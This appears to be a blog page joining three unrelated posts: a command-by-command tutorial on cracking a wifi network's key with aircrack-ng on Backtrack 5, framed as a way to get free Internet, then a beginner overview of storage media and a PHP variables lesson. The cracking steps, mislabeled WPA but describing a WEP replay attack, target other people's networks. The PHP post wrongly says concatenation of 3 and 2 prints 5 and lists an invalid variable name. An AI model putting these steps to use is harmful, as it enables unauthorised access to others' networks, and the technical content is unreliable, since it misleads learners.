How to crack a WPA encypted wifi Network.

 To crack a WPA encrypted wifi Network to use free Internet, you will need is compatible wifi card and backtrack 5.
First download Backtrack 5 from here.
Download the iso and burn it into a DVD or you can run on virtual Machine in this case i am using Vmware to Run backtrack.

So run the backtrack 5 after that you will see the Desktop then open command terminal and type “airmon-ng” this command will show your interface driver and chip set of your network card.

Then type this command “airmon-ng start wlan0” wlan0 is the name of my interface.

Then you will see at the bottom left corner (monitor mode enable on mon0) so i am using mon0 as my interface after that type this command “airodump-ng mon0” then i will start scanning for wifi networks, after that you will see bssid  channel, encryption, essid etc. my essid is “homenet” your will be different after that type this command “airodump-ng -c (channel) -w (file name) –bssid (bssid) mon0” type your bssid, channel and filename
e.g. airodump-ng -c 3 -w wep –bssid 00:18:01:a7:c0:00 mon0
then press enter

then data will flow slowly so to boost the data,
open up a new command terminal and type “aireplay-ng -1 0 -a (bssid) mon0” if you have strong signals coming from the wifi card the you will see this Association Successful

then type this “aireplay-ng -2 -p 0841 -c FF:FF:FF:FF:FF:FF -b (bssid) mon0” then data will flow much faster if you see Use this  packet press y and press enter,

after that open a another command terminal and type “aircrack-ng (filename)*.cap” and press enter, then it will try to crack it now. Then it will say Key found and the key is 12:34:56 coll ans are not the part of the password so remove it.

so Know you have the wireless password Remember to use this Knowledge for good not for evil be ethical.

Commands that i have used

1)airmon-ng
2)airmon-ng start wlan0
3)airodump-ng mon0
4)airodump-ng -c (channel) -w (file name) –bssid (bssid) mon0
5)aireplay-ng -1 0 -a (bssid) mon0
6)aireplay-ng -2 -p 0841 -c FF:FF:FF:FF:FF:FF -b (bssid) mon0
7)aircrack-ng (filename)*.cap

Storage Devices

In this topic we will discuss about Storage Devices and backup media which are as fallows

– HDD (hard Drive Disk)

  • Solid-State Disk
  • Magnetic Disk

-FDD (floppy Drive disk)

Optical Drives

  • CD
  • DVD
  • RW
  • blu-Ray

-Removable Stroage

  • Flash Drives(SD CARD, thumb drives, USB, Flash)
  • External CD-RW and hard-drive
  • Tape Drive
  • HOT & Non- Hot Swappable devices.

FDD (floppy Drive Disk)

in these days FDD does not use to much and they are very hard to fine Fdd comes in many different sizes and Memory the most popular is the 1.44 Megabytes (MB) an a 3.5 (90mm) disk.

some Computer have built in Floppy drive but some Computer dose not if you have floppy and you need to connect it with a modern Computer that dose not have a floppy drive then you will probably need a USB  floppy drive .in  floppy drive you can save data that are 1.44  MB in memory floppy drive contain magnetic disk to store data know a days people flash dive to store data in Gigabyte’s that why floppy drive are not use to much .

—————————————————————————————–

What is HDD ?

HDD (Hard-drive disk)

hard drive are used to store  an write data they are connected to mother Board or Main board operating System and programs are stored inside the hard drive they are 3 types of hard drive SATA & ATA, PATA, Scuzzy Drive  or SCSI Drive.

SATA (Serial Advanced Technology Attachment) & ATA

Modern computer use ATA drive to store large amount of data.

PATA or IDE Drive

PATA or IDE drive are old and not use to much in computer.

SCSI (Small Computer System interface)

SCSI drives offer faster data transfer speeds than it competitors ATA and IDE. Although ATA and IDE are common for desktop users, these drives do not offer as many features as SCSI which can foster the connection of multiple interfaces.

How Hard Drive Works ?

Hard drive is made of metal and it is very strong hard drive are tightly pack so no dust particles can get it hard drive contain a “platter” in which the data is stored this platter is a magnetic disk,data written and read by”head”,the “arm” move the head back and forth to write the data or read in the “platter”, the platter is move by “spindle” ,An “Actuator” is responsible for the move meant of the arm.So the spindle is spinning the platter and the actuator is reading  and writing  binary’s in the platter.Data are arrange in track in a platter,there are many track on a platter and track contain sectors a sector contain 512 byte’s of information there are million of sectors on a  platter, and those sectors make up the cluster.

SSD or Solid State Disk.

Solid state Disk is modern technology of storing data it is very fast and last longest then any other storing devices, a Solid State Disk contain Flash chips to store data,but hard drive use platter to store data solid state is much expensive the hard drive.

A hard Drive needs to know where to start the system it uses master boot record or MBR it is the first sector of the hard drive, in that tiny little sector boot signature and booting info stored it also contain info for your operating system for where to boot from,if your operating system does’t boot up then there is a problem in the MBR this problem can be fix by rewriting the MBR.

Optical Drives

CD or Compact disk are use to store data and to share it with others it is circular disk a cd has a storing capacity of 700mb.

DVD or Digital Versatile Disk  are used in the same way as CD but it can store a large amount of data as compare to cd. A dvd has a storing capacity of 4.4 Gb for Single layer and 8.5 Gb for dual layer.

Blu-ray Disk are used for sharing data but it has a lot of storage capacity a single layer blu-ray Disk has a storing capacity of 25 Gb and dual layer has a storing capacity of 50 Gb.it is expensive then the other disk as it can store a large amount of data.

Removable Storage 

Removable Storage are very useful for storing data,we can store data in Flash Drive or Memory stick and can plug and remove from the system and can plug into another system.

SD CARD

SD card are very small in size and can store large amount of data they are commonly used in cell phones, cameras,audio devices etc SD card comes in many different shapes and also with different storage capacity.

External Hard-drive

External hard drive are very useful if you need to transfer data from one computer to another. External hard drive have a usb port and a power connection but there are also external hard drive multi adapter where a user can connect ide or sata into that adapter and then connect’s the hard drive or Disk Drive then plug-in a usb cable in to a computer it is very useful if you have a laptop.

Multi External Drive Adapter

Tape Drive

Tape Drive are very use full if you have large scale of data it commonly used in industry or company to store a huge amount of data a user can use a tape drive to copy or backup all the data of all the computer or server automatically at night so if something happens then user can recover that data it also store data in a encryption so other people can’t access the data,a tape drive contain a magnetic tape where the data is stored it can contain up to 16 ,32 or more tape disk so users’s can save a lot of data.

PHP Data Types Variable

data type is a classification identifying one of various types of data, such as real-valued, integer or Boolean, that determines the possible values for that type.

Data type in php are very useful when we start knowing the language the first data type that we would use is “variable” a variable is symbolic representation of a value as name represent it can change or varies a variable start with a dollar sign “$” and the name of the variable.(e.g $variable = 22;) in this code i have set variable equal to an integer which is 22 and semi colon to end the statement.a variable can be written i many different ways some are as fallows

$varibale

$Variable

$_variable

$this_variable

$this-variable

Remember these are case sensitive meaning if you write $variable and use this variable in your code and start the variable with a capital V $Variable it give an error because php doesn’t know what variable are you talking about so remember not to make this mistake.lets write an variable example code

<?php

$var1 = 3;

$var2 = 2;

echo $var1;

?>

in the above code i created a variable $var and $var2 and set the value to 3 & 2 this code will echo or print the value that is inside in var1.

but if you write this code

<?php

$var1 = 3;

$var2 = 2;

echo $var1 . $var2;

?>

in the above code i have added a $var1 and $var2 together with a point sign “.” this will add the value of variables and print it on the screen the output will be 5.remember this is an variable so we can change to what ever we want.

in the next example i have set the variable to an string

<?php

$var1 = “This is “;

$var2 = “String”;

echo $var1 . $var2;

?>

this code will add the string an give the output “This is String” because we have coordinated the string.
